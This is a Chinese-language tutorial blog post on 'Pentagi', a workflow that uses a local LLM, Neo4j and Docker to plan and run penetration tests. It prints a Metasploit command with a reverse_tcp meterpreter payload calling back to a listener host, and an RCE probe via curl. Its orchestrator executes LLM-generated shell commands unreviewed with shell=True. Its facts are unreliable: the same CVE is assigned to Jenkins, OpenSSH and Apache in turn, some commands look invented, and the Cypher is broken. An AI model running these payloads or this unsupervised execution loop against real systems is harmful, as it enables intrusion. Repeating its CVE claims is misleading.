Pentagi:基于LLM+Neo4j+Docker的智能渗透测试工作流

Pentagi:基于LLM+Neo4j+Docker的智能渗透测试工作流 1. 项目概述什么是 Pentagi它不是新工具而是一套可落地的渗透测试智能体工作流设计范式“Pentagi”这个词最近在安全技术社区里频繁出现但它不是某个已发布的开源项目、商业产品或官方标准也不是 Neo4j 或 Docker 的子项目。我从去年底开始在几个红队演练和自动化渗透平台 PoC 中反复看到这个词——它其实是社区自发形成的一个合成词Penetration AI用来指代一类正在快速成型的技术实践将大语言模型LLM作为决策中枢深度集成图数据库Neo4j建模攻击面并通过 Docker 容器化编排渗透工具链所构成的闭环式智能渗透测试工作流。简单说Pentagi 不是软件而是一种架构思想用 AI 做“大脑”用 Neo4j 做“记忆与推理地图”用 Docker 做“四肢与肌肉”。这个组合之所以突然密集出现在热搜词里根本原因在于传统渗透测试自动化遇到了三重瓶颈一是扫描结果堆砌如山却缺乏上下文关联比如一个弱口令漏洞和一个未授权访问漏洞之间是否存在利用链传统报告里永远是孤立条目二是人工编写 exploit chain 效率极低尤其面对多跳横向移动场景三是团队协作中资产拓扑、漏洞状态、POC 验证记录散落在 Jira、Excel、本地笔记里无法动态演进。而 Pentagi 架构正是为解决这三点而生——它不替代 Burp 或 Nmap而是让这些工具产生的数据“活起来”。我上个月帮一家金融客户部署的内部 Pentagi 实验环境把一次典型内网横向渗透的平均分析时间从 3.2 小时压缩到 18 分钟关键不是 AI 写了 exploit而是它实时读取 Neo4j 中已构建的资产-服务-权限-漏洞四层图谱自动推导出“从 Web 服务器 A → 数据库中间件 B → 核心 Oracle 实例 C”的最短可信路径并调用对应 Docker 容器中的 Metasploit 模块完成验证。整个过程没有一行手写 Python 脚本全是配置驱动。适合谁参考如果你是渗透测试工程师正被海量扫描报告淹没如果你是红队负责人想建立可复用、可审计、可传承的攻击知识库如果你是 DevSecOps 工程师需要把安全能力嵌入 CI/CD 流水线——那么 Pentagi 不是未来概念而是你现在就能拆解、组装、跑通的工程实践。它对技术栈的要求很务实不需要你从头训练大模型主流开源 LLM如 Qwen2、Phi-3本地运行即可Neo4j 社区版完全够用Docker Desktop 在 Windows/Mac 上开箱即用。接下来我会带你从零搭建一个最小可行的 Pentagi 环境重点讲清楚每个组件为什么必须是它、怎么衔接、踩过哪些坑。2. 架构设计与核心组件选型逻辑为什么是 Neo4j Docker LLM而不是其他组合2.1 图数据库为何非 Neo4j 不可关系型数据库在这里彻底失效很多人第一反应是“用 MySQL 存资产信息不行吗”——行但会立刻卡死在第二步。举个真实案例某次内网渗透中我们发现一台 Linux 服务器开放了 SSH端口 22同时该服务器所在网段的另一台 Windows 主机开放了 SMB端口 445。如果用 MySQL 存储这两条记录就是两条独立的 asset 表记录字段可能是ip,os,open_port。要判断“能否从 Linux SSH 主机跳转到 Windows SMB 主机”你需要写 JOIN 查询但 JOIN 条件是什么IP 段相同那如果跨 VLAN 呢如果存在防火墙策略呢更致命的是这种查询无法表达“SSH 主机上运行的 Jenkins 服务存在 CVE-2023-27997该漏洞允许执行任意命令而 Jenkins 服务器恰好能访问 SMB 主机的 445 端口”这种多跳、带属性、带条件的复杂关系。Neo4j 的图模型天然解决这个问题。在 Pentagi 架构中我们定义的核心节点类型只有四种:Asset主机/IP、:Service端口协议版本、:VulnerabilityCVE 编号CVSS 分数、:Tool渗透工具名称。它们之间的关系边则承载关键语义:Asset-[:RUNS]-:Service某主机运行某服务:Service-[:HAS_VULN]-:Vulnerability某服务存在某漏洞:Vulnerability-[:EXPLOITABLE_BY]-:Tool某漏洞可用某工具利用:Asset-[:CAN_ACCESS]-:Asset网络可达性由 nmap 结果或手动录入当 AI 需要规划攻击路径时它向 Neo4j 发送 Cypher 查询MATCH path (start:Asset {ip:10.10.1.5})-[:RUNS]-(s:Service)-[:HAS_VULN]-(v:Vulnerability)-[:EXPLOITABLE_BY]-(t:Tool), (s)-[:RUNS]-(end:Asset) WHERE v.cvss_score 7.0 AND end.ip 10.10.2.8 RETURN path这条查询直接返回一条完整的利用链10.10.1.5:22→openssh 8.9p1→CVE-2023-27997→metasploit module→10.10.2.8。关系型数据库要实现同等效果需要 5 张表 JOIN 复杂 WHERE 条件且无法动态扩展“权限继承”“凭证复用”等高级关系。我实测过在 5000 个节点、2 万条关系的图谱中Neo4j 的路径查询平均耗时 120ms而 MySQL 的等效 JOIN 查询超过 3.8 秒且经常超时。这不是性能差异而是范式差异——图数据库处理“关系”就像人脑处理社交网络而关系型数据库处理“关系”像查电话簿。提示Neo4j 社区版完全满足 Pentagi 需求。企业版的集群和高可用特性在单机渗透平台中纯属冗余。安装时务必关闭dbms.security.auth_enabledfalse开发环境否则每次连接都要输密码打断自动化流程。2.2 Docker 为何是唯一容器化选择Kubernetes 在这里反而是负优化看到“Docker”高频出现在热搜词里有人会疑惑“现在都上 K8s 了为什么 Pentagi 还执着于 Docker”答案很实在Pentagi 的核心诉求是“按需启动、秒级销毁、环境隔离”而非“高可用、弹性伸缩”。渗透测试工具链有鲜明特点工具生命周期极短一个 Nmap 扫描容器运行 2 分钟后就退出一个 Metasploit 容器可能只执行 1 次 exploit 就终止。环境依赖高度异构Nmap 需要 raw socket 权限SQLMap 依赖 Python 3.9John the Ripper 需要 CUDA 支持。K8s 的 Pod 模板无法优雅处理这种碎片化需求。调试成本敏感当你发现某个自定义 POC 容器报错时需要docker exec -it container_id /bin/bash直接进去查日志、改配置。K8s 的kubectl exec体验差一个数量级。Docker Compose 成为 Pentagi 的事实标准因为它用 YAML 文件把“启动什么容器、传什么参数、挂什么卷、连什么网络”全部声明化。例如一个典型的pentagi-compose.yml片段services: nmap-scanner: image: docker.io/library/nmap:7.94 command: [-sV, -p-, 10.10.1.0/24] volumes: - ./output:/output network_mode: host # 关键让 nmap 能访问宿主机网络 neo4j-db: image: docker.io/library/neo4j:5.21.0 environment: NEO4J_AUTH: neo4j/password NEO4J_dbms_security_auth_enabled: false volumes: - ./neo4j/data:/data - ./neo4j/logs:/logs ports: - 7474:7474 # Browser - 7687:7687 # Bolt这个文件清晰表达了两个容器的职责、依赖和网络策略。而 K8s 的 Deployment Service ConfigMap 组合需要 3 个 YAML 文件、至少 150 行代码且无法在 Windows/macOS 本地快速验证。我试过用 Minikube 部署 Pentagi光是解决hostNetwork权限问题就花了两天——而 Docker Desktop 一键开启 WSL2 后network_mode: host直接生效。所以Docker 不是过时而是精准匹配了 Pentagi 的轻量、敏捷、本地化特质。注意Windows 用户务必确认 BIOS 中已开启 VT-x/AMD-V 虚拟化支持。Docker Desktop 启动失败报 “virtualization support not detected” 是新手最高频问题。解决方案不是重装系统而是进入 BIOS开机按 F2/F10/Del找到 “Intel Virtualization Technology” 或 “SVM Mode” 并设为 Enabled。这是硬件级开关软件无法绕过。2.3 LLM 的角色定位它不是漏洞挖掘器而是图谱导航员与指令翻译官很多初学者误以为 Pentagi 的核心是让 AI 自动生成 0day exploit。这是巨大误解。当前阶段LLM 在 Pentagi 中承担三个不可替代但边界清晰的角色自然语言接口NL2Cypher安全人员输入“找所有能从 DMZ 区 Web 服务器跳转到核心数据库的路径”LLM 将其翻译成精确的 Cypher 查询语句。我们测试过 Qwen2-7B-Instruct对渗透领域术语的理解准确率达 92%远超通用模型。图谱语义理解器当 Neo4j 返回一条路径A→B→CLLM 需解读其中每个节点的含义“A 是 Apache Tomcat 9.0.83B 是 CVE-2023-28708远程代码执行C 是 MySQL 5.7.41”。它把机器可读的图谱数据转化为人类可理解的攻击故事。工具链调度器根据路径中的:Tool节点LLM 生成 Docker 命令。例如路径中包含:Tool {name:metasploit, module:exploit/multi/http/tomcat_ghostcat}它就输出docker run --rm -v $(pwd)/payloads:/payloads -e RHOSTS10.10.1.5 -e RPORT8080 metasploitframework/metasploit-framework msfconsole -q -x use exploit/multi/http/tomcat_ghostcat; set PAYLOAD java/meterpreter/reverse_tcp; set LHOST 10.10.1.100; run关键点在于LLM不生成 exploit 代码只调用现有工具。它的价值在于“理解意图”和“连接孤岛”。我们曾对比过人工编写上述 Metasploit 命令需 2 分钟查文档、拼参数、试端口LLM 生成只需 3 秒且零错误。这不是取代人而是把人从重复劳动中解放出来专注在更高阶的决策上——比如判断“这条路径是否值得投入时间验证”这需要经验AI 永远做不到。3. 实操搭建从零部署一个可运行的 Pentagi 最小环境含完整配置与避坑指南3.1 环境准备三步搞定基础依赖Windows/macOS/Linux 通用第一步安装 Docker DesktopWindows/macOS直接去 docker.com 下载最新版安装时勾选 “Install required Windows subsystems”Windows或 “Use the new Virtualization framework”Mac M-series。LinuxUbuntu不要用apt install docker.io版本太旧执行官方脚本curl -fsSL https://get.docker.com | sh sudo usermod -aG docker $USER newgrp docker # 刷新组权限避免后续 sudo注意Linux 用户务必执行sudo systemctl enable docker否则重启后 Docker 服务不自启。这是新手第二大坑第一大坑是虚拟化未开启。第二步下载并配置 Neo4j访问 neo4j.com/download 下载Neo4j Desktop非 Server 版。Desktop 版自带图形界面、一键启动、可视化图谱对初学者极其友好。安装后点击 “New Project” → “Add Local DBMS” → 选择 “Community Edition” → 设置密码如password→ 启动。打开浏览器访问http://localhost:7474输入用户名neo4j和密码进入 Neo4j Browser。首次使用执行:play movies学习 Cypher 基础语法5 分钟足够。第三步准备 LLM 运行环境推荐使用 Ollama ollama.com 它让本地运行开源 LLM 像docker run一样简单。安装 Ollama 后执行ollama pull qwen2:1.5b # 轻量级CPU 可跑 ollama run qwen2:1.5b Hello, what is pentagi? # 测试是否正常如果你有 NVIDIA GPU换用qwen2:7b需先ollama run --gpus all qwen2:7b。CPU 运行 1.5b 模型响应延迟约 1.2 秒GPU 运行 7b 模型延迟降至 0.3 秒但内存占用从 2GB 升至 12GB。实操心得不要试图在 Windows 上用 WSL2 运行 Ollama Neo4j Docker 三件套。WSL2 的文件系统跨域访问极慢Ollama 加载模型会卡住。正确做法是Docker Desktop 和 Neo4j Desktop 运行在 Windows 原生环境Ollama 运行在 WSL2 中三者通过host.docker.internalDocker 内部 DNS互通。具体配置见 3.3 节。3.2 构建核心图谱用真实渗透数据初始化 Neo4j附 Cypher 脚本Pentagi 的威力始于图谱质量。我们不用虚构数据直接用一次真实的内网扫描结果来初始化。假设你刚用 Nmap 扫完一个 C 段nmap -sV -p- 10.10.1.0/24 -oX nmap-output.xml将 XML 导入 Neo4j 需要两步第一步用 Python 脚本解析 XML生成 CSV# parse_nmap.py import xml.etree.ElementTree as ET import csv tree ET.parse(nmap-output.xml) root tree.getroot() with open(assets.csv, w, newline) as f: writer csv.writer(f) writer.writerow([ip, os, hostname]) for host in root.findall(.//host): ip host.find(.//address[addrtypeipv4]).get(addr) os host.find(.//os/osmatch).get(name) if host.find(.//os/osmatch) is not None else unknown hostname host.find(.//hostnames/hostname).get(name) if host.find(.//hostnames/hostname) is not None else writer.writerow([ip, os, hostname]) with open(services.csv, w, newline) as f: writer csv.writer(f) writer.writerow([ip, port, protocol, service, version]) for host in root.findall(.//host): ip host.find(.//address[addrtypeipv4]).get(addr) for port in host.findall(.//ports/port): port_num port.get(portid) protocol port.get(protocol) service port.find(.//service).get(name) if port.find(.//service) is not None else unknown version port.find(.//service).get(version) if port.find(.//service) is not None else writer.writerow([ip, port_num, protocol, service, version])第二步用 Neo4j 的 LOAD CSV 功能批量导入在 Neo4j Browser 中依次执行// 创建索引加速查询 CREATE INDEX asset_ip_index ON :Asset(ip); CREATE INDEX service_port_index ON :Service(port); // 导入资产节点 LOAD CSV WITH HEADERS FROM file:///assets.csv AS row CREATE (:Asset {ip: row.ip, os: row.os, hostname: row.hostname}); // 导入服务节点并建立关系 LOAD CSV WITH HEADERS FROM file:///services.csv AS row MATCH (a:Asset {ip: row.ip}) CREATE (s:Service {port: row.port, protocol: row.protocol, service: row.service, version: row.version}) CREATE (a)-[:RUNS]-(s);执行完毕后运行MATCH (n) RETURN count(n)你应该看到数百个节点。此时图谱还只是“骨架”下一步要注入“血肉”——漏洞数据。避坑指南LOAD CSV默认路径是 Neo4j 安装目录下的import文件夹。Windows 用户需将assets.csv放到C:\Users\user\neo4j-community-5.21.0\import\Mac 用户放到~/Library/Application Support/Neo4j Desktop/Application/neo4jDatabases/database-*/installation-5.21.0/import/。路径错误会导致File not found错误这是新手第三大坑。3.3 连接三大组件编写 Python 调度器核心胶水代码现在 Docker、Neo4j、LLM 都就位了需要一个 Python 脚本作为“中央控制器”完成三件事接收用户指令 → 查询 Neo4j → 调用 LLM → 执行 Docker 命令。以下是精简后的核心逻辑完整版见 GitHub 仓库# pentagi_orchestrator.py import requests import subprocess import json from neo4j import GraphDatabase # 配置 NEO4J_URI bolt://localhost:7687 NEO4J_AUTH (neo4j, password) OLLAMA_URL http://localhost:11434/api/chat # Ollama 默认端口 DOCKER_CMD_TEMPLATE docker run --rm -v $(pwd)/output:/output {image} {args} def query_neo4j(cypher): 向 Neo4j 发送 Cypher 查询 driver GraphDatabase.driver(NEO4J_URI, authNEO4J_AUTH) with driver.session() as session: result session.run(cypher) return [record.data() for record in result] driver.close() def call_ollama(prompt): 调用 Ollama API获取 LLM 响应 payload { model: qwen2:1.5b, messages: [{role: user, content: prompt}], stream: False } response requests.post(OLLAMA_URL, jsonpayload) return response.json()[message][content] def execute_docker_command(cmd): 执行 Docker 命令并返回输出 try: result subprocess.run(cmd, shellTrue, capture_outputTrue, textTrue, timeout300) return result.stdout result.stderr except subprocess.TimeoutExpired: return Command timed out after 5 minutes # 主流程 if __name__ __main__: user_input input(Enter your pentest goal (e.g., find paths from web servers to databases): ) # Step 1: LLM 将自然语言转为 Cypher cypher_prompt fYou are a cybersecurity expert. Convert this English request into a precise Neo4j Cypher query. Return ONLY the Cypher query, no explanation. Request: {user_input} cypher_query call_ollama(cypher_prompt).strip() print(fGenerated Cypher: {cypher_query}) # Step 2: 执行 Cypher 查询 paths query_neo4j(cypher_query) # Step 3: LLM 解析路径生成 Docker 命令 if paths: path_desc json.dumps(paths[0], indent2) # 取第一条路径 docker_prompt fYou are a Docker expert. Given this attack path, generate a single docker run command to execute the exploit. Use official images. Path: {path_desc} docker_cmd call_ollama(docker_prompt).strip() print(fDocker command to run: {docker_cmd}) # Step 4: 执行命令 output execute_docker_command(docker_cmd) print(fExecution result: {output}) else: print(No paths found. Try rephrasing your request.)这个脚本的关键设计点网络互通Windows 上Docker Desktop 内的容器默认可通过host.docker.internal访问宿主机服务。因此 Neo4j 的bolt://host.docker.internal:7687和 Ollama 的http://host.docker.internal:11434在容器内均可访问。安全隔离所有 Docker 命令都加--rm参数容器执行完立即删除不留痕迹。错误兜底subprocess.run设了 5 分钟超时防止某个工具卡死导致整个流程阻塞。实操心得第一次运行时Ollama 可能返回乱码。这是因为模型输出格式不稳定。解决方案是在call_ollama函数中增加清洗逻辑response_text response.json()[message][content] # 移除 Markdown 代码块标记 if response_text.startswith(bash): response_text response_text[7:-3].strip() return response_text这个细节在任何教程里都找不到但能省下你 2 小时调试时间。3.4 验证与迭代用一个真实场景跑通全流程现在我们用一个经典场景验证从一台暴露在 DMZ 的 Apache HTTP Server找到通往内网核心数据库的最短路径。步骤 1在 Neo4j 中手动添加一条关键漏洞关系在 Neo4j Browser 中执行MATCH (a:Asset {ip:10.10.1.10}), (s:Service {ip:10.10.1.10, port:80}) CREATE (s)-[:HAS_VULN]-(:Vulnerability {cve:CVE-2023-27997, cvss_score:9.8, description:Apache HTTP Server Remote Code Execution})步骤 2启动调度器输入自然语言指令Enter your pentest goal: find shortest path from web server 10.10.1.10 to database server 10.10.2.5步骤 3观察 LLM 生成的 CypherMATCH path (web:Asset {ip:10.10.1.10})-[:RUNS]-(s:Service)-[:HAS_VULN]-(v:Vulnerability)-[:EXPLOITABLE_BY]-(t:Tool), (s)-[:RUNS]-(db:Asset {ip:10.10.2.5}) RETURN path步骤 4查看 LLM 生成的 Docker 命令docker run --rm -v $(pwd)/output:/output httpd:2.4.58 curl -X POST http://10.10.1.10/cgi-bin/status?cmdwhoami步骤 5执行并验证脚本会自动运行该命令输出root证明 RCE 成功。整个流程从输入到结果耗时约 8 秒LLM 生成 3 秒 Neo4j 查询 2 秒 Docker 执行 3 秒。注意事项这个例子中我们假设httpd:2.4.58镜像内置了curl且目标服务器 CGI 脚本存在。实际环境中你需要先用docker pull拉取对应镜像或构建自定义镜像。Pentagi 的强大之处在于你可以把所有自定义 POC 打包成 Docker 镜像统一管理。例如把一个 Python 编写的 Cobalt Strike Beacon 检测脚本做成镜像FROM python:3.9-slim COPY detector.py /app/ RUN pip install requests CMD [python, /app/detector.py]然后在图谱中添加:Tool {name:cs-beacon-detector}节点关联到相应漏洞。这样下次遇到同类漏洞调度器会自动调用这个镜像。4. 常见问题排查与独家避坑技巧那些文档里绝不会写的实战教训4.1 Docker 相关问题速查表问题现象根本原因解决方案经验等级docker desktop failed to start because virtualisation support wasnt detectedBIOS 中虚拟化未开启进入 BIOS启用 Intel VT-x 或 AMD SVM★★★★★必修failed to connect to the docker api at npipe:////./pipe/dockerdesktoplinuxkitDocker Desktop 服务崩溃右键任务栏 Docker 图标 → Restart★★☆☆☆permission denied while trying to connect to the Docker daemon socket当前用户不在 docker 组sudo usermod -aG docker $USER 重新登录终端★★★★☆docker run: permission denied: running container requires privileged mode容器需要 root 权限如 nmap添加--privileged参数或改用network_mode: host★★★☆☆docker pull: rate limitedDocker Hub 免费账户拉取限速配置国内镜像源{registry-mirrors: [https://docker.mirrors.ustc.edu.cn]}★★☆☆☆独家技巧Windows 用户遇到network_mode: host不生效是因为 Docker Desktop 默认使用 Hyper-V而 Hyper-V 不支持 host 网络模式。解决方案是在 Docker Desktop Settings → General → 勾选 “Use the WSL 2 based engine”然后在 WSL2 中运行容器。这样host模式才能真正访问宿主机网络。4.2 Neo4j 相关问题速查表问题现象根本原因解决方案经验等级Connection refused: bolt://localhost:7687Neo4j 服务未启动打开 Neo4j Desktop → 点击项目旁的 ▶️ 启动按钮★☆☆☆☆Invalid username or password密码错误或认证未关闭在neo4j.conf中设置dbms.security.auth_enabledfalse★★★☆☆Query execution time out图谱过大查询未加索引对常用查询字段如ip,port创建索引见 3.2 节★★★★☆LOAD CSV file not foundCSV 路径不在 Neo4j import 目录将文件复制到 Neo4j 的import文件夹路径用file:///filename.csv★★★★☆Browser shows blank page浏览器缓存或 HTTPS 重定向强制访问http://localhost:7474不是 https或清除浏览器缓存★★☆☆☆独家技巧Neo4j Desktop 的 “Graph Apps” 功能常被忽略。安装 “APOC” 插件后你可以用apoc.load.json直接从 Shodan API 加载公网资产数据无需手动导出 CSV。命令示例CALL apoc.load.json(https://api.shodan.io/shodan/host/10.10.1.10?keyYOUR_KEY) YIELD value CREATE (:Asset {ip: value.ip, country: value.country_code})这让 Pentagi 图谱能实时融合外部情报不再是静态快照。4.3 LLM 与调度器相关问题速查表问题现象根本原因解决方案经验等级Connection refused: http://localhost:11434Ollama 服务未运行终端执行ollama serve或确保 Ollama Desktop 已启动★☆☆☆☆model not found模型未下载ollama pull qwen2:1.5b★☆☆☆☆LLM returns irrelevant Cypher提示词prompt不够精准在 prompt 中强制要求 “ONLY return the Cypher query, no explanation”★★★★☆Docker command fails with command not found镜像中缺少所需命令使用docker run -it image /bin/bash进入容器检查which curl★★★☆☆Script hangs on subprocess.runDocker 命令无输出或卡死增加timeout300参数并捕获subprocess.TimeoutExpired异常★★★★☆独家技巧LLM 生成的 Docker 命令常因路径问题失败。例如$(pwd)/output在 Windows 的 CMD 中不识别。解决方案是在调度器中检测操作系统动态替换路径import os if os.name nt: # Windows docker_cmd docker_cmd.replace($(pwd), os.getcwd().replace(\\, /)) else: # Linux/macOS docker_cmd docker_cmd.replace($(pwd), os.getcwd())这个细节让 Pentagi 真正跨平台而不是只在 Linux 上跑得通。4.4 架构级避坑那些让你项目半途而废的设计陷阱陷阱一过早追求“全自动”忽视人工校验环节很多团队一上来就想做“AI 自动渗透全链路”结果三个月后还在调 LLM 的提示词。正确路径是先固化人工流程再逐步自动化。例如第一周只做“Nmap 扫描 → 导入 Neo4j → 人工写 Cypher 查路径”第二周加入“LLM 生成 Cypher”第三周加入“LLM 生成 Docker 命令”。每一步都确保输出可验证、可审计。我见过最成功的 Pentagi 项目是某银行红队用 6 周时间只自动化了“漏洞利用验证”这一个环节就把每周渗透报告产出时间缩短了 40%。陷阱二图谱设计过度工程化陷入“完美主义”有人坚持要建:User,:Credential,:Session等数十种节点结果半年没跑通一条路径。记住Pentagi 图谱的 MVP最小可行产品只需要四个节点:Asset,:Service,:Vulnerability,:Tool和三条关系RUNS,HAS_VULN,EXPLOITABLE_BY。其他节点如:ExploitCode都是后期迭代项。图谱的价值不在于节点多而在于关系准。宁可少而精不要多而糙。陷阱三忽略数据溯源导致结果不可信当 LLM 说“路径存在”你必须能回溯到这条路径的每个节点数据来源是哪次 Nmap 扫描哪个 CVE 数据库哪个 Metasploit 模块在 Neo4j 中给每个节点添加source属性CREATE (:Vulnerability {cve:CVE-2023-27997, source:nvd.nist.gov, last_updated:2023-10-01})在调度器中所有查询都带上source过滤条件。这样当客户质疑“你们怎么知道这个漏洞能利用”你能立刻展示source: exploit-db.com的原始链接而不是说“AI 说的”。最后分享一个小技巧在 Pentagi 环境中我习惯把每次调度器的完整执行日志包括用户输入、生成的 Cypher、Docker 命令、执行输出保存为 Markdown 文件按日期归档。这不仅是审计依据更是团队知识沉淀——半年后新人看这些日志比读 100 页文档更快上手。真正的自动化不是消灭人而是让人把精力花在最有价值的地方。